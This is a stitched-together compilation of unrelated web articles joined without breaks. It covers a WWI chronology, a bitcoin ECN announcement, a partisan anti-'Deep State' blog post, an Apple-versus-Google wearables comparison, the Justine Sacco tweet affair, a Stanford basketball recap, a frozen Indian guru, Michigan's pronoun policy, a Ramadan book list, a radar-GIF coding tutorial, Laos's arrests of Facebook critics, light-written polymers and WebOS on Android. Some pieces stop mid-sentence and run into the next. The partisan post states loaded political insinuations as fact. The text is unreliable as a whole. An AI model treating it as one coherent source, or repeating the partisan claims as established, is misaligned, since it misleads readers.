German counter-attacks at Verdun repulsed.
Allied (British naval and French) air raid on steel works (Hagendingen) north of Metz.
Eastern Front
Enemy storm Vulkan Pass (western Transylvania).
Romanians make stand in northern Passes.
In Dobruja, Romanians blow up bridge and abandon Cerna Voda, falling back towards north Dobruja.
Russian victory at Dorna Vatra (Moldovia).
Asiatic and Egyptian Theatres
Sir Reginald Wingate's despatch of 8 August published describing revolt and conquest of Darfur (January 1915 to 22 May 1916).
Naval and Overseas Operations
General Gil with Portuguese, crosses River Rovuma.
Germans cut communications between General Northey and Iringa and break through extended British line in following three weeks.
Political, etc.
Greek Government issue decree disbanding class 1913 and the men called up on 10 September, and agree to transfer of two corps to Peloponnesus.
Reported at Athens that Protecting Powers had sanctioned loan to Salonika Provisional Government.Earlier in the month we wrote about Ibinex, a new bitcoin ECN being developed by Gallant Partners. Having a January 1st, 2015 launch date, Ibinex is specifically targeting forex brokers, aiming to offer them direct bitcoin to MetaTrader 4 liquidity with a tailor-made bridge for the platform’s server.
While continuing to work on the technology and liquidity side of the operations, Ibinex announced to Forex Magnates today that they are partnering with the Financial Commission to become a founding member of its new Crypto unit. A new unit from the non-government backed Financial Commission regulatory organization, the Crypto Division, was launched last month to provide both arbitration and operational requirements for cryptocurrency companies. While the Financial Commission’s focus in governing is to offer broker customers an avenue for arbitration and hearing trading related cases. Due to the unique aspects of bitcoins and other digital currency related businesses, the Crypto unit is adding accounting and capital requirement monitoring to its supervisory role.
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For Ibinex, becoming a member of the Financial Commission provides potential broker customers using the ECN to source liquidity for their bitcoin trading products a regulatory fallback, which could become an important aspect for regulated brokers. In addition to the Financial Commission, on its launch, Ibinex plans on holding an FSA license from St.Vincent and the Grenadines.We wrote yesterday that Trump's barrage of tweets signaled that he wasn't interested in song-and-dance routines about removing the career warmongers from State, the CIA and Pentagon.
They go or he goes.
Game on.
So imagine our surprise when we noticed that the media was already sending signals that the Deep State is worried.
Newsweek has a long, proud history of operating as a glossy, illustrated Washington talking points periodical. We're not being facetious — the famed magazine was caught collaborating with the CIA in the 1950s. And you know the old saying — "nothing ever changes."
So we thoroughly enjoyed reading this detailed analysis explaining how Trump is slowly squeezing the pus out of the State Department, and why this is of course a very bad and dangerous development for Democracy, according to Newsweek:
Foreign service officers at the State Department keep the ship afloat? We thought they handed out cookies during violent coups? Or are we being redundant?
Of course, Newsweek attributes the "empty hallways" at State to Trump's "disdain for diplomacy" and hatred for "the administrative state".
The article — written by a "senior fellow" at the Soros-funded, Podesta/Clinton think tank Center for American Progress — is one long call to arms against Trump and his Stalinist purge of the kind-hearted, career public servants at the State Department.
Here's the best part:
Finally, the seventh floor—where the secretary and the senior team sits—is basically empty after a series of layoffs. For the last eight years, in addition to the secretary there was a deputy secretary and a deputy secretary for management and resources, an under |
to turn on lights when you’re close to home.
Google is using a new language called Weave to make this happen, while Apple will make the Apple TV the central hub that all smart devices can connect to. Rumor has it Apple will also deliver a HomeKit app with iOS 9 that will make it easy to control all your IoT devices from one place.
It’s still too early to tell whether Apple or Google has the upper hand when it comes to IoT, because neither Brillo nor HomeKit are available yet. HomeKit will reach the market sooner because Apple’s been working on it a lot longer, and HomeKit-compatible devices are already being made.
But Google’s acquisition of Nest Labs last year means we’ll almost certainly see the company developing Brillo-compatible smart devices of its own that could come relatively quickly.
Android Wear vs. Apple Watch
Perhaps one of the most exciting battles that will play out between Apple and Google over the next few years will concern wearables: Android Wear and Apple Watch.
Wear has been around a lot longer, but Apple Watch is off to a much more successful start, already outselling all Wear devices that have been released to date. The two platforms are very similar, but Apple Watch offers some distinct advantages.
Health and fitness
When it comes to health and fitness, the Apple Watch beats any other wearable on the market. Not necessarily because it’s the best at tracking, but because it takes fitness much more seriously; it doesn’t just want to record your runs, but help you become a fitter, healthier person.
The Apple Watch will remind you to stand when you’ve been sitting too long, allow you to set fitness goals you can work toward, and reward you with achievements when you reach them. You can also do a heck of a lot more with the fitness data the Apple Watch records.
That’s thanks mostly to Apple’s excellent HealthKit platform, which is currently unrivaled by Google (or anyone else). Google Fit is little more than a central repository for your fitness data at this point.
If you want a smartwatch that’s going to push you to get into shape, it has to be Apple Watch.
Choice
If you’re not interested in fitness tracking, however, Wear has one thing that might interest you: choice. It’s an open platform, so it runs on a growing collection of watches from companies like Motorola, LG, Asus, Huawei and others.
You can get Wear watches that are round or square, metal or plastic, and with a whole host of different bands. Most are even compatible with traditional watch straps — they don’t have propriety connectors like Apple Watch.
Google also supports third-party watch faces — there are literally hundreds of them — so you can give your Wear watch almost any look you like. In comparison, Apple Watch users get to choose between the 10 faces Apple provides, though some of them are slightly customizable.
Price
By far the biggest difference between Apple Watch and Android Wear is the price. While the former starts at $349, you can pick up a Wear watch for as little as $99 right now. Even the flagship Moto 360 was just $249 when it first went on sale.
Compatibility
There’s one thing that’s holding Android Wear back, however, and that is its lack of compatibility with iOS. Recent reports promised that Google would deliver iPhone support for Wear devices at I/O, but it never came.
But allowing iPhones to work with Wear watches is the best way to compete with Apple Watch on its own turf. Wear devices might be cheaper. They might be more customizable. And there might be more of them. But they can’t be considered an alternative to Apple Watch without iPhone support.A woman sacked as communications director of the New York-based internet empire InterActive Corp for having made a puerile tweet that linked Aids with race, has issued an apology to the “millions of people living with the virus”.
Justine Sacco, the dismissed head of corporate communications for Barry Diller's company, issued a contrite statement on Sunday to the Star newspaper in South Africa where she has travelled to be with her family over the holiday season. It was during the 11-hour flight from London to Cape Town that she became the latest example of the power of Twitter to destroy those who cause offense through unthinking use of the social media site.
Shortly before she boarded the flight on Friday she tweeted:
Going to Africa. Hope I don't get AIDS. Just kidding. I'm white!
In her statement, the PR executive said that she was in “anguish knowing that my remarks have caused pain to so many people” in South Africa where she was born and where her father still lives. "Words cannot express how sorry I am, and how necessary it is for me to apologize to the people of South Africa, who I have offended due to a needless and careless tweet.”
She added: “There is an AIDS crisis taking place in this country, that we read about in America, but do not live with or face on a continuous basis. Unfortunately, it is terribly easy to be cavalier about an epidemic that one has never witnessed firsthand.”
Sacco turned into a notorious Twitter superstar while she was in the air. During her long flight to South Africa, unbeknownst to her, she became an internet phenomenon – the offending remark was retweeted over 2,000 times.
By the time she disembarked her ignorant comment on Aids had been picked up by Buzzfeed, gone viral on Twitter with the hashtag #HasJustineLandedYet trending, and Sacco was in deep trouble. She deleted her offending tweet and her entire Twitter account soon after landing, but by then it was already too late.
On Saturday IAC, which owns internet ventures such as the Daily Beast, Ask.com, Dictionary.com and Match.com dismissed her for what it called her “hateful statements”. Though the company added that it hoped that “time and action, and the forgiving human spirit, will not result in the wholesale condemnation of an individual who we have otherwise known to be a decent person at core."After dropping its past two matches against Texas, including a heartbreaking upset in 2014 that ended the Cardinal’s 28-game home win streak, No. 11 Stanford women’s basketball (2-0) knew it had its work cut out for it while hosting No. 8 Texas on Monday evening. Despite Texas losing a solid core this past offseason, the Cardinal knew they needed big performances all around the roster in order to clinch an improbable victory.
The team went above and beyond that call, ending the night with a resounding 71-59 win over Texas in a statement win early in Tara VanDerveer’s 31st season as Stanford’s head coach.
“[The losing streak against Texas] was always in the back of my head. Karlie [Samuelson] mentioned it in the huddle: ‘We haven’t beaten them since freshman year,” senior forward Erica McCall said. “But we didn’t really focus on the past too much, especially when we went to the scouting target. We really just focused on this present team and I think we really executed well against them.”
McCall’s veteran leadership only complemented her stellar all-around performance Monday evening in which the forward had 17 points, five rebounds and a career-high six blocked shots as a powerhouse for the Cardinal.
Yet the biggest performance of the night came from junior guard Brittany McPhee, who scored a career-high 28 points in an efficient and dominant performance, going 11-for-15 from the field including 2-for-2 from beyond the arc. McPhee found a great shooting rhythm early off smart back-door screens from a variety of Cardinal teammates, catalyzing a rally late in the second quarter that give Stanford a crucial 35-29 lead.
Coming out of the halftime break, Stanford immediately drew up a play to free McPhee for a stunning catch-and-shoot three-pointer off an assist from sophomore guard Marta Sniezek, which McPhee drained. The shot put the Cardinal up nine just 13 seconds into the second half and provided a near perfect description of Stanford offensively on the night.
Once the Cardinal took control in the second quarter, VanDerveer and her squad never looked back, ending the game with only two lead changes and a lead as large as 17 early in the fourth quarter.
“Everyone on our team really was focused,” VanDerveer said. “We worked really hard all last week getting ready for Texas. I thought Brit had just a spectacular game offensively and defensively. Just great team basketball, and I’m really excited to build on it.”
The Cardinal prospered off of efficient basketball, including heavy ball movement and quick hands all around the court. Stanford ultimately ended the night with 18 assists, with every single player getting at least one assist on the evening, and the offense looked very promising for this early in the season.
Nevertheless, not everything went smoothly for Stanford offensively, as the Cardinal turned the ball over 20 times throughout the night in addition to allowing 12 second-chance points, primarily in the first quarter, which helped the Longhorns jump to an early lead. Stanford’s offensive mistakes ultimately were salvaged by great transition defense that held Texas to only nine points off turnovers and no fast break points at all.
When asked about the ball movement “clicking,” VanDerveer remained realistic about how Stanford played in the game, saying, “I would give our ball movement a C compared to what I’ve seen in practice. I think we are capable of even more and better and quicker.”
The Longhorns’ leading returning scorer Brooke McCarty scored 20 points yet went 8-for-20 on the night, ultimately highlighting the disparity in the efficiencies of the two offenses. After two strong starts to each respective halves, Texas was held to a meager 11 and nine points in the second and fourth quarter respectively, and the Cardinal defense ensured victory more and more with each stop in the fourth quarter.
While Stanford definitely has learning takeaways from its victory, the Cardinal undoubtedly made a statement this early in the season as they prepare for hopefully another long campaign into the postseason. Stanford prepares to host two more games this upcoming weekend against non-conference opponents Gonzaga and CSUN.
Contact Lorenzo Rosas at enzor9 ‘at’ stanford.edu.Image copyright Divya Jyoti Jagrati Sansthan Image caption Ashutosh Maharaj's body has been kept in a freezer for nearly six weeks
Devotees of a dead guru in India have told the BBC they put his body in a freezer to preserve him as they believe he will return to life to lead them.
Ashutosh Maharaj was declared dead by authorities in Punjab on 29 January after a suspected heart attack.
But, confident that he was merely in a state of deep meditation, his followers froze his corpse.
He led the Divya Jyoti Jagrati Sansthan (Divine Light Awakening Mission) which claims more than 30 million followers.
"He is not dead. Medical science does not understand things like yogic science. We will wait and watch. We are confident that he will come back," his spokesman Swami Vishalanand told the BBC.
He said that although doctors had declared Maharaj "clinically dead", he was actually alive and in a state of samadhi, which is the highest plane of meditation.
The guru is thought to have been in his seventies.
'Spiritual experience'
Swami Vishalanand said the guru had "often indicated that he would not be with for us a long time, and we would have to manage the organisation in his absence".
He said after the doctors declared him dead, his devotees watched over the body for a week at the centre in Punjab's Jalandhar city.
"The body did not decompose before we put it in the freezer. It was a spiritual experience. We thought of embalming it, but somebody told us that his chances of revival were less if we did it," Swami Vishalanand said.
"He has assured us that he will come back," another devotee, Lakhwinder Singh, told the Indian Express newspaper.
The decision to place the body in the freezer was challenged in court by a man, claiming to be a former driver of the guru, who alleged that his devotees were not releasing the body because they wanted a share of the guru's properties.
"The court rejected his pleas after the Punjab government said that the man is clinically dead and that it is up to his followers to decide what they want to do with the body," Punjab legal official Reeta Kohli told the AFP news agency.
Senior police official Gurinder Singh Dhillon said police "cannot interfere" now that the court had made its ruling.
The website of the Divya Jyoti Jagrati Sansthan says it was established in 1983 and aims to "achieve world peace". It claims to have 350 branches in 15 countries.
In 1993, the devotees of a Calcutta-based guru Balak Brahmachari refused to cremate his body for nearly two months, insisting that he would recover from a "meditative trance".
Eventually, some 450 policemen entered his religious centre on the outskirts of the city and took away his decomposing body for cremation in the face of fierce protests by the devotees.Michigan students can now pick their preferred pronouns, but not everyone is happy
He, she, they, ze -- take your pick, University of Michigan students. A new policy implemented by the school lets students choose their preferred pronouns and have them reflected on their class rosters.
Students may now designate a preferred personal pronoun and have it reflected on class rosters this fall. https://t.co/0Q23lOleHl#URecord — University of Michigan (@UMich) September 28, 2016
"A designated pronoun is a pronoun an individual chooses to identify with and expects others to use when referencing them (i.e., he, she, him, his, ze, etc.)," the university wrote in a Sept. 27 email to student announcing the policy.
But not all support the new policy. The university's announcement sparked debate among students and the Twittersphere about whether the policy is necessary and appropriate, with one student, in particular, placing himself at the center of the controversy.
RELATED: Ve said, xe said: A guide to gender-neutral language
Through Michigan's new system, Grant Strobl, a junior and chairman of the conservative student organization Young Americans for Freedom, changed his pronoun designation to "His Majesty" (and then tweeted about it), catching the attention of media outlets.
My new identity is His Majesty Grant Strobl, what's yours? After you update WolverineAccess, tweet to #UMPronounChallenge! @YAF@YAFUMich — Grant Strobl (@grantstrobl) September 28, 2016
Strobl tells USA TODAY College that he doesn't believe words like "ze" and "they" are real pronouns that should be used to refer to an individual person.
"The University of Michigan’s new policy ignores reality." Strobl says. "If we are going to ignore reality, then I shall be referred to as His Majesty."
Yet he says he’s not trying to be hateful towards others.
"I love all humans and I believe the value of every life," he says. "Supporting reality does not go against that."
RELATED: Colleges work on gender inclusivity with pins, pronouns
Nonetheless, his opinion runs counter to the policy's purpose.
"Asking about and correctly using someone’s designated pronoun is one of the most basic ways to show your respect for their identity and to cultivate an environment that respects all gender identities," university administrators Martha Pollack and E. Royster Harper wrote in the email announcing the policy.
But some have followed Strobl's lead, sharing their -- shall we say creative -- preferred pronouns using the hashtag #UMPronounChallenge.
I hereby declare my preferred designated UM pronoun to be "His Most Eminent Highness" #UMPronounChallenge@collegefix@robbysoavepic.twitter.com/H1zhrZAaAO — Mark J. Perry (@Mark_J_Perry) September 30, 2016
Others, however, don't consider the policy a laughing matter...
I chose "she" bc that's my ID. I didn't use the "other" option to make fun of ppl bc then I would've had to put "asshole"#UMPronounChallenge — Liz? (@jetfuelliz) September 28, 2016
If you did #UMPronounChallenge b/c you thought it's fun to exploit something meant for the consideration of others, you should be ashamed — Leslie (@leslteng) September 29, 2016
You all are being incredibly cruel #UMPronounChallenge — Chanda Phelan (@cdphelanges) September 29, 2016
#UMpronounchallenge because making a mockery of ppl feeling safe at a public college worth thousands of dollars is SUPER FUNNY, right guys?! — bason journe @ M A R R I E D💍💍 (@jackvvynand) September 30, 2016
...including the university.
"We’ve seen an outpouring of gratitude from these students for our recognition of their identity. It is unfortunate that some students are not taking this serious." Kim Broekhuizen, a public affairs specialist for the school, tells USA TODAY College.
What do you think of the school's new policy? Share your thoughts with us on Twitter at @USATODAYCollege.
Michael Schramm is a University of Michigan student and USA TODAY College digital producer.
This story originally appeared on the USA TODAY College blog, a news source produced for college students by student journalists. The blog closed in September of 2017.
Read or Share this story: https://usat.ly/2MkwBSgRamadan 2015 is here, which means you’re going to see your Muslim friends fasting from dawn to dusk for the next 30 days. But — hold up — what exactly is Ramadan? (It's totally OK to ask if you don't know.)
Here's a primer: Night after night Muslims across the world will spend their evenings praying, eating, and swapping date puns (about the fruit, not romance, guys). At sunsets, you'll hear the azan (call for prayer), and everyone will gather — it's pretty gorgeous the way the community comes together.
And for non-Muslims, it's an awesome time to learn about what the holiday means to different people. Just take a look at some of these breathtaking pictures entered in the International Ramadan Photography Competition by photographers experiencing Ramadan all around the globe. (Take a peek... I'll wait.) So, stunning, aren’t they?
Whether or not you’re fasting this Ramadan, consider this an opportunity to explore unfamiliar worlds. Pick up a book by one of these talented Muslim writers who've been making a serious mark literary world. They're writing memoirs and science fiction, graphic novels and poetry — anything you feel like reading, really. And if you happen to look up from your book around 8 p.m., join friends like me at your local mosque. It'll be worth it — we’ll be passing around delicious platters of food (yes, of course there will be hummus and samosas), and there is always plenty for everyone!
Shatter Me by Tahereh Mafi
First up: YA. Make space on your bookshelf right next to the Hunger Games trilogy and the Divergent books for Tahereh Mafi, who has been wildly successful for her Shatter Me trilogy. This beautifully written dystopian novel chronicles the life of Juliette Ferrahs who has been locked away by the Reestablishment for murder. She has supernatural powers that make her touch lethal, and the Reestablishment plans to use her as a weapon. The intensity of Mafi’s metaphors against the backdrop of her protagonist’s world make this book an addictive fast-paced read. Translation: It pretty much has everything you want.
Click here to buy.
Alif the Unseen by G. Willow Wilson
You may recognize this book — or at least Willow Wilson's name. That's because she has become widely known for being the creator of Kamala Khan in the Mrs. Marvel series. (Which completely rocks, obviously.) Women in comics are kicking down doors for a new generation of readers, but a throwback to her first novel is worth your while if you haven't gotten a chance to spend time with it yet. In this dystopian techno-thriller of Islamic mysticism (yes, that's a thing!), Wilson fashions a world of hackers, jinns, and revolution. Her protagonist, Alif, named after the first letter of the Arabic alphabet, is a hacker who provides technical service to pornographers, Islamic revolutionaries, and bloggers from Saudi Arabia to Pakistan, concealing their identities and locations. But his computer is breached by the state’s electronic security force and his lover’s fiancée is the head of State security. It's every bit as awesome as it sounds.
Click here to buy.
Where the Ghost Camel Grins: Muslim Fables for Families of All Faith by Linda “Ilham” Barto
Will you be babysitting this summer? If so, you might want to pick up Linda Barto’s delightful collection of fables and illustrations for story time. Her adventurous, funny tales are based on ancient legends from across the world. I'm head over heels for the unique fusion of traditionally Muslim cultural imagery with Euro-American storytelling, which gives birth to a lively set of Muslim American fables. Dotted with pearls of wisdom, Barto’s collection of tales totally shakes things up when it comes to the snooze-worthy old bedtime traditions.
Click here to buy.
The Moor’s Account by Laila Lalami
Laila Lalami’s mesmerizing third novel is one of those books that will change your world view. The Moor’s Account presents us with a fictional memoir that immerses readers in the story of Esteban, a Moroccan slave arriving in the Americas in 1527. The Moor’s Account was named a finalist for the Pulitzer Prize in fiction (not bad!), so there's a good chance you probably have a pretty solid story on your hands. Lalami’s telling of Esteban’s tale rings of authenticity, and invites readers into a fantastical journey of self-discovery and survival.
Click here to buy.
A Muslim American Slave: The Life of Omar Ibn Said by Omar Ibn Said
Muslims in America are as old as the country’s origins, and A Muslim American Slave offers insights into the early history of Islam in America. I was first introduced to Omar Ibn Said by a colleague who showed me some clippings preserved in the North Carolina Collection at the University of North Carolina Chapel Hill. Said, African Muslim who had studied arithmetic, business, and theology before he was enslaved and shipped across the Atlantic, garnered a lot attention for writing on the walls of his prison cell in Arabic after being imprisoned for entering a church to pray. If you really want to get into significant Islamic history during Ramadan, here's a great place to start — his story is eye-opening.
Click here to buy.
Iran Awakening by Shirin Ebadi
Nobel Peace Prize winner and accomplished jurist Shirin Ebadi’s deeply inspiring and revolutionary memoir is a manifesto of her life’s work. Yoking beauty and brutality, she reflects on her childhood in Tehran before the Iranian Revolution of 1979 and the condition of women's rights. This book will teach you about class, identity, and Iran’s tumultuous history and shed light on the struggle for justice. There's a lot to learn, and this is such a lyrical way to do it.
Click here to buy.
Arab in America by Toufic El Rassi
This semi-autobiographical graphic novel is revolutionary, and deserves place next to John Lewis’ March for narrating the struggles of a marginalized people. Starting in the '80s and '90s, Toufic El Rassi traces the prejudice and discrimination Arabs and Muslims experience in America. From racist classmates to a gnawing sense of isolation, Arab in America is filled with heart-wrenching illustrations and accounts of his struggles and fears. This is not a light read, OK, but it's super-important, and you'll walk away a better person for reading it; it'll open your eyes to the history of anti-Arab, anti-Muslim sentiments in this country, as well as the need for empathy and understanding in fighting racism.
Click here to buy.
Sultana’s Dream by Rokeya Sakhawat Hossain
If you’re a fan of Charlotte Perkins Gilman’s Herland, add this one to your feminist utopia list. Muslim feminist and social reformer Rokeya Hossain brings us the riveting tale of young girl Sultana who awakes in Ladyland where men are confined indoors and women have taken over the public sphere, ending a war nonviolently and restoring health and beauty to the world. (Kind of cool, right?) This witty story, in which science fiction meets feminism, will have you smiling at the Hossain’s gorgeous subtle writing and repeating the words of her husband, “A splendid revenge!”
Click here to buy.
Taqwacores by Michael Knight
I was introduced to Michael Knight’s debut novel through a class I took with him. Go ahead, judge the book by its cover; it really is as radical as it seems, tackling Muslim misfits, punk rock, rebellion, and questions of identity. Propelled by philosophical and religious discussions, Taqwacores is kind of the Catcher in the Rye for young Muslims. A young Pakistani-American engineering student moves into a house full of Muslim punk rockers, who constantly push him to redefine aspects of his faith. What’s even cooler is that the imaginary band willed the Islamic punk rock scene into being with bands like Vote Hezbollah and Secret Five Trial popping up all over the country.
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Breaking Poems by Suheir Hammad
Brooklyn-reared Palestinian American poet and activist Suheir Hammad’s book Breaking Poems was the recipient of a 2009 American Book Award and the Arab American Book award for Poetry in 2009. The title alludes to her use of the word “break” in every poem as she seamlessly blends Arabic vernacular with English language and Palestinian American heritage. Her poems speak of womanhood, diaspora, and culture, bridging various identities through lyrical writing. If you're going to fall in love with a book of poetry, it just might be this one.
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So, happy Ramadan, all — there's a lot for everyone to be celebrating.Improving The Weather On Twitter Using NWS Data To Make Animated Radar GIFs
I consume a lot of media on Twitter. My local National Weather Service branch does an incredible job on the platform, providing relevant content on everything from imminent weather events to long-term climate trends. But every once in a while, they'll tweet an image like this:
There are a few problems with this, namely:
1. There are arrows
Weather is a dynamic, complex beast that rarely moves in straight lines. Why limit ourselves to only static images?
The NWS has the data, so we should animate it.
2. The rainbow palette
The problem with the rainbow pallete is that it doesn't vary in a perceptually meaningful way. While it does increase in hue between steps—which it doesn't do evenly—its luminosity bounces all over the place, which is the most effective way to encode information using color. And if you're color-blind, good luck!
Choosing a palette is definitely tricky. The rainbow palette is both familiar and effective at showing intense storms—my eyes always go straight for the red. But we're trying to build something better, so let's try something that is more perceptually intuitive and accessible.
(Check out this excellent article to get up to speed on choosing effective palettes for visualizations. Lots of great stuff in there.)
3. That projection
Many federal agencies use the NAD83 (EPSG:4269) projection and this is the de facto projection of the National Weather Service. Unlike the palette, my preference for a different projection is more a matter of taste than science. Having grown up on the web, I'm used to Mercator, not NAD83, which makes the familar shape of the continental US look stretched out and squished to me.
NAD-83 Web Mercator
Web Mercator (EPSG:3857) does a pretty good job of representing the continental US, so let's use it.
4. Again: the arrows!
In fairness to the National Weather Service, they've started tweeting GIFs recently, though there's still room for improvement. In addition to changing the palette and projection, that frame rate is pretty low.
Building Something Better
One of the wonderful things about the National Weather Service is that most of their data is publicly available. It's not accessible via some sexy API, but hey, at least it's on the web. Let's use it to build something better!
Here's what the raw NWS images look like:
Step 1: Change The Projection
GDAL comes with a great command line utility called gdalwarp that ended up being the right tool for the job. It handles reprojections, and I was able to use os.system to execute the command in my Python script.
Here's how the NWS image is looking after reprojection:
Step 2: Change The Palette
Changing the palette was more straightforward though I'm sure there are much more elegant ways of getting this done. I ended up creating a map between the NWS rainbow palette and a palette of my own choosing and parsing the image pixel by pixel and transforming the RGB values based on the mapping. I used Pillow for image processing.
def change_palette ( image, palette = purple_yellow_red ): """Takes an image file and changes the palette""" name = image. split ( '.' )[ 0 ]. split ( '/' )[ - 1 ] im = Image. open ( image ). convert ( "RGBA" ) pixels = im. load () for i in range ( im. size [ 0 ]): for j in range ( im. size [ 1 ]): if pixels [ i, j ] in nws_colors : pixels [ i, j ] = change_color ( pixels [ i, j ], palette ) filename = "gif/new_palette/ %s. %s " % ( name, "png" ) im. save ( filename, "PNG" ) return filename
With 3,000 by 2,000 pixels per image and around 25 images per animated GIF, that's 50,000,000 color changes, making this the most computationally expensive step in the process. If there's a better way to do this, I'd love to hear about it!
Here's how we're looking with the new palette:
Step 3: Resize For Publication
I then resized the images to their display dimensions. I did this after changing the palette, even though it would have cut down processing time tremendously to do it the other way around, because it resulted in a higher quality image.
Step 4: Add A Basemap
Using Tilemill I created a high-contrast basemap. I initially experimented with more information dense basemaps by including elevation data and lakes and rivers before eventually deciding to go for simplicity.
I also added a timestamp and a small text logo using Pillow:
Step 5: Combine Images Into A GIF
Finally, it's time for the payoff!!
Using an awesome Python module I found floating around the web called images2gif.py, I was able to pass an array of radar images to a function that magically returned an animated GIF of my new and improved radar images.
So voila! Here we have it, our final product:
Publishing To Twitter
I made this because I wanted an improved radar experience in my Twitter feed, so Twitter is where I've chosen to publish these images. This meant dealing with a few constraints.
At the time, Twitter didn't provide native video support, so that meant GIFs. Interestingly enough, Twitter converts GIFs to video on their platform. (While Twitter now supports video, they don't yet have a public API for uploading video, so GIFs are still the format of choice for auto-uploading animations.)
Further constraints include display dimensions (maximum width of 560px) and a maximum file size of 3MB. The more information dense images end up being larger in size, so to keep files under 3MB the script removes slides from the front-end of the animation until they fit under 3MB.
Creating A Bot Army
The National Weather Service groups radar imagery into 10 regions in the continental United States. In trying to balance file size and image quality, I found that it made sense for me to slice the national map into 14 regions. So counting the continental US radar, I needed to create 15 Twitter accounts.
Registering the accounts and providing my application with the proper permissions was the most arduous part of this whole process.
With Twitter accounts created and authentication keys in place, I pushed the project to Webfaction and created a cronjob that would run every two hours. The job would kick off scripts that download and process the data, generate the GIFs, and push them to Twitter.
Interested?
You can view the code for this project on GitHub and if you like this sort of stuff, you should follow me on twitter.
Other Stuff By Matt Mt. Mansfield Snow Depth An interactive graphic that allows users to explore the snow depth on Mt. Mansfield for any season on record. This visualization was retweeted by Edward Tufte (who wrote the book on data visualization) and was shared by the Washington Post on their "Know More" blog. Lyme On The Rise A data project for Vermont Public Radio on the growth of Lyme Disease over the last 15 years. Includes an interactive bar graph of New England and small multiples of Vermont and the continental United States showing the infection's expanded range. Published in the open with links to the data.
See the rest - matthewparrilla.comLaos expects to welcome Barack Obama later this year, the first sitting US president to visit
Laos expects to welcome Barack Obama later this year, the first sitting US president to visit
Laos expects to welcome Barack Obama later this year, the first sitting US president to visit
Nation of only seven million routinely falls at the bottom of press freedom lists
Vientiane, Laos - With their heads hung low, three Laos nationals quietly apologise on state TV for betraying the country through anti-government Facebook posts, a striking parade of apparent confessions in the communist regime's latest crackdown on dissent.
The ominous broadcast in late May was the first news of the trio for families desperate to know their whereabouts since they were arrested in March.
"From now on I will behave well, change my attitude and stop all activities that betray the nation," said 29-year-old Somphone Phimmasone on Lao National TV.
He sat between the two co-accused: his girlfriend, Lodkham Thammavong, 30, and another man, 32-year-old Soukan Chaithad, each wearing the trademark royal blue uniforms of prisoners.
Flanked by a row of straight-backed police officers, beneath a banner proclaiming "peace, independence, unity, prosperity" in Laos, Soukan stressed their confessions weren't forced by the authorities.
Wildlife activists call for crackdown on illegal trade in Laos
Their grave crime, explained an unidentified narrator, was to threaten national security. He claimed they did this by protesting against the government while working in neighbouring Thailand, and posting critical content on Facebook, the social media site that has gained most traction in the tiny landlocked nation.
Laos, one of the last single-party communist states in the world, tolerates zero opposition. But the "arbitrary, incommunicado detentions" reveal a worrying new clampdown, said Andrea Giorgetta of the International Federation for Human Rights (FIDH).
"The most troubling aspect of this case is that the Laotian government has gone to great lengths to monitor its critics beyond the country's borders, and has significantly stepped up repression of online dissent," he said.
The nation of only seven million people routinely falls at the bottom end of press freedom lists, with its media tightly controlled by the ruling Lao People's Revolutionary Party. Laos ranked 173rd of 180 countries in the latest Reporters Without Borders index.
To beat the censors, Laotians are increasingly turning to social media for their news, even though the government introduced stiff jail terms for critical internet users in late 2014.
Mystery shrouds Laos activist's fate
Last month's broadcast carried a clear message: "Everyone who uses social media such as Facebook should be careful. Don't believe untrue propaganda, it only slows down the country's development," said the voice-over during the video. A uniformed police officer then warned that anyone "who derogates the country will be prosecuted".
The three Laotians were undocumented workers in Thailand, arrested after they returned home to apply for passports to re-enter Bangkok with proper permits. Somphone worked as a factory security guard, Lodkham as a domestic helper, and Soukan as a delivery driver. Through their now-closed Facebook accounts they accused the government of corruption, deforestation, and human rights violations, said Giorgetta.
Despite boasting one of the world's fastest growing economies, hundreds of thousands of Laotians leave the still vastly poor country in search of jobs. Most, like these detainees, take up low-paid positions in Thailand.
Alongside employment, they also found an unlikely opportunity in December to protest against their government outside the Laos embassy in the military-ruled kingdom, which has itself severely curbed free speech since a 2014 coup.
Few would dare stage such a protest in Vientiane. Glimmering new malls are sprouting up in Laos' capital, whose laid-back charm is increasingly interspersed with the dust and din of construction. But beneath this rapidly transforming landscape, much of the country's political system remains unchanged. Last year Laos refused to accept key UN-backed recommendations on protecting freedom of expression and human rights defenders.
Laos struggles to handle tourist influx
Social media offers a small yet still guarded space to articulate views unimaginable in public life. One woman in her 20s, who spoke anonymously for fear of reprisal, told Al Jazeera people were sharing reports of the recent arrests on Facebook.
"Rich kids here don't get in trouble for running over a person on the road. But these guys did for protesting. I just wondered why. It's not fair," she said.
In January, Laos' secretive communist party appointed a new president and prime minister, the same year it assumed chairmanship of ASEAN, the powerful bloc of 10 Southeast Asian nations. Later this year, it also expects to welcome Barack Obama, the first sitting US president to visit Laos, in a trip intended to boost warming ties between the former foes.
Yet like their predecessors, the new Laos leaders show no sign of opening up political debate, said a Western diplomat in Vientiane, who also asked to remain anonymous to avoid repercussions.
"The regime doesn't take any criticism directed at it. It's a direct threat to their survival," he said, adding the recent broadcast was "a message to all the young people in Laos".
It's unclear what charges or sentences the three detainees face |
(c) and then cooling to 20 °C erases the characters (d). Credit: Macromolecule
With a pen-like laser, chemists in Finland can sketch letters into a dispersion of a new polymer. Light flips the polymer between its trans and cis isomers, changing its solubility and creating clear characters in a cloudy mixture (Macromolecules 2013, DOI: 10.1021/ma4011457).
Vladimir Aseyev at the University of Helsinki and his colleagues discovered this novel application while investigating the basic properties of a little-explored class of polymers based on poly(azocalix[4]arene). The azobenzene groups in these polymers’ backbones enable the macromolecules to switch between a cis and trans isomer when excited by light.
Aseyev and his team synthesized a variation of the polymer with tetraethylene glycol monomethyl ether side chains. They found that the two isomers of this new polymer have different solubility properties at the same temperature: At 20 °C, the trans form is barely soluble in ethanol, but the cis isomer dissolves easily.
When Aseyev used 365-nm laser light to trace the shape of letters through a cloudy dispersion of the trans isomer, the polymer isomerized to the cis version only where the light shone, producing clear letters.
The researchers can erase the writing by heating the mixture, shaking it to disperse the cis isomer, or waiting up to four hours for the polymer to relax back to the trans form. This ability to write with light is well known for solid polymers but not dispersions, Aseyev says. “It’s a new chemistry.” He hopes next to unravel why the cis form is more soluble than the trans and to investigate possible applications of the material, such as memory devices that store information using light.WebOS isn’t dead! After much fiddling and tinkering, a pre-alpha of a WebOS running as an Android app has been shown in a working state. Previous attempts to make Open WebOS run on Android haven’t been able to get past the lock screen, but the folks at Phoenix International Communications (PIC) have finally built a functional version. The performance is absolutely awful, and nobody sane would want to use it in its current state. Still, this is an important first step to making this a reality.
